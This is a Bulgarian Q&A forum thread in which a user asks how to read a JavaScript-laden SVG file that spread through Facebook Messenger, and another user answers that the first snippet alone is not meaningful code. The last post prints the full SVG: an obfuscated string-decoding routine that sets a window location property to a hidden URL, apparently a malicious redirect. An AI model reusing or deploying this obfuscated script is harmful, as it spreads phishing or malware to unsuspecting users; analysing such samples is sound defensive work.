Вирусна епидемия във Facebook


1

Тези дни получих от приятели във Facebook messenger SVG файл с закачен скрипт написан на javascript. Много мой познати се оплакаха от същото. Разгледах го но не можах да разчета две неща, който са съществените:

K.dHubZtRnyP:lck?Ohf9Na0xz5D8AI/EVgBj3m47JCXLoMrvipYU=_FeT216sSG

и

4a_DXjx=8ATNIH1\/5nKotM9lUZEd:gBOpubP6CfkRzmiL3.Jv0resVc?2G7hSFyY","nlaOsD\/xX=JSYrFtKN60Z?dvkUHRhg8y_3j2bCAiomfLT5P1zpEBe97cu4M.GV:I","0lAXb6u5xy\/oH4vPKzEUIaRs2p:?7mYSTghnC8BFZVGceL=3NjMfDdJOrk_9i1t.","lScybaJAX:7g=n5oVYzGRDixOpEdevt1NP.TL6Mf2s?F_\/04UI9ZhBKkjm3uHrC8","X_51OP9z.8?sI=Fl7oJh:KSatbc\/ngUN0EjDY4RM3HvVLZkCfAxuBrdp6TGmyie2","\/6xTHME5P4aS2fVR?ChovkurFZdX91GBKyelzINi7jbs8_0Jm=tc.3AY:gnLDpOU","sIukFpBGf5lMbT_hd763SaVmLEKCvz98:er4N?Y.A\/P0cygUHx=ODnJZR2jXoti1","D\/026t3X91:?ozsnEl4uZSbRKFOpifxJeNkgcH8YLdvVP5IA7a_hUC.=MjyrGmTB

Моля, ако някой е наясно да ми каже на какъв език е написано и как да го разчета.


в Spam от oto58 (27 точки)


Отговори



0

За съжаление това което си постнал просто няма как да се компилира на какъвто и да е език. Има неща като кавички, знак "=", точка,запетайка и подобни, които във всички езици от високо ниво имат някакво специално значение и просто няма как да се изсипят където им дойде.

Предполагам, че си изрязал доста важна част около този стринг който те интересува. Без нея никой не може да ти каже какво се случва.

Моето предположение е че това е нещо, което се декодва в процеса на изпълнение на скрипта. Може да е и някаква картинка, или всичко което се сетиш. Но без останалата част на кода е практически невъзможно да се разбере какво се случва.

Може да е някаква зараза, която е полиморфна, и се променя при всяко заразяване. Може да е информация за конфигурацията на която се е лепнала заразата. Може да е какво ли не.

Но определено това не е никакъв смислен код на никакъв смислен език, най-малкото на javaScript или какъвто и да било негов "диалект". Дори и прекарано през някакъв анти-дебъг туул пак няма да изглежда по този начин.


от JulianG (5316 точки)


1

Благодаря за отговора. Качих целия код. До колкото разбрах този скрипт изпраща до всички приятели на заразения същия или подобен скрипт и заразява и тях. За да се изпълни скрипта иска да се стартира ARIA.


от oto58 (27 точки)


1

Ето го целия код:

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
  <circle cx="250" cy="250" r="50" fill="red" />

  <script type="text/javascript"><![CDATA[
    function ukjdj(etxsuy,yvtyve,vymzn){
      var rleqoy = "K.dHubZtRnyP:lck?Ohf9Na0xz5D8AI/EVgBj3m47JCXLoMrvipYU=_FeT216sSG";
      var ybkqg = ["4a_DXjx=8ATNIH1\/5nKotM9lUZEd:gBOpubP6CfkRzmiL3.Jv0resVc?2G7hSFyY","nlaOsD\/xX=JSYrFtKN60Z?dvkUHRhg8y_3j2bCAiomfLT5P1zpEBe97cu4M.GV:I","0lAXb6u5xy\/oH4vPKzEUIaRs2p:?7mYSTghnC8BFZVGceL=3NjMfDdJOrk_9i1t.","lScybaJAX:7g=n5oVYzGRDixOpEdevt1NP.TL6Mf2s?F_\/04UI9ZhBKkjm3uHrC8","X_51OP9z.8?sI=Fl7oJh:KSatbc\/ngUN0EjDY4RM3HvVLZkCfAxuBrdp6TGmyie2","\/6xTHME5P4aS2fVR?ChovkurFZdX91GBKyelzINi7jbs8_0Jm=tc.3AY:gnLDpOU","sIukFpBGf5lMbT_hd763SaVmLEKCvz98:er4N?Y.A\/P0cygUHx=ODnJZR2jXoti1","D\/026t3X91:?ozsnEl4uZSbRKFOpifxJeNkgcH8YLdvVP5IA7a_hUC.=MjyrGmTB"];
      var oyynw = "";
      var ipvdue = 0;
      while(ybkqg[ipvdue]){
        ipvdue++;
      }
      var uxlrfb = 0;
      while(etxsuy[uxlrfb]){
        var dqgkvr = 0;
        var qjyay = -1;
        while(rleqoy[dqgkvr]){
          if(rleqoy[dqgkvr] == etxsuy[uxlrfb]){
            qjyay = dqgkvr;
            break;
          }
          dqgkvr++;
        }
        if(qjyay >= 0){
          var kesbe = 0;
          var nzmnd = -1;
          while(ybkqg[uxlrfb%ipvdue][kesbe]){
            if(ybkqg[uxlrfb%ipvdue][kesbe] == etxsuy[uxlrfb]){
              nzmnd = kesbe;
              break;
            }
          kesbe++;
          }
          oyynw += rleqoy[nzmnd];
        }else{
          oyynw += etxsuy[uxlrfb];
        }
        uxlrfb++;
      }
      var ldkea = "";
      for(wrcgse=yvtyve;wrcgse<oyynw.length;wrcgse++){
        ldkea += oyynw[wrcgse];
      }
      oyynw = ldkea;
      return oyynw;
    }
  var ooxjwg = window;
  var guiei = ukjdj("vqwcxzVa=abAZt",11,true);
  var ewwhua = ukjdj("/rEcjf6aTp6oh4Vz3FRAA_5",15,false);
  var tatwdl = ukjdj("_63jh",1,true);
  ooxjwg[guiei][ewwhua][tatwdl] = ukjdj("9UPLS5uM3a37ZZ6X=EH1NHH5/dAbP:N/0xb9_twJr6M1zJFm=lMzx",14,false);
  ]]></script>

</svg>


от oto58 (27 точки)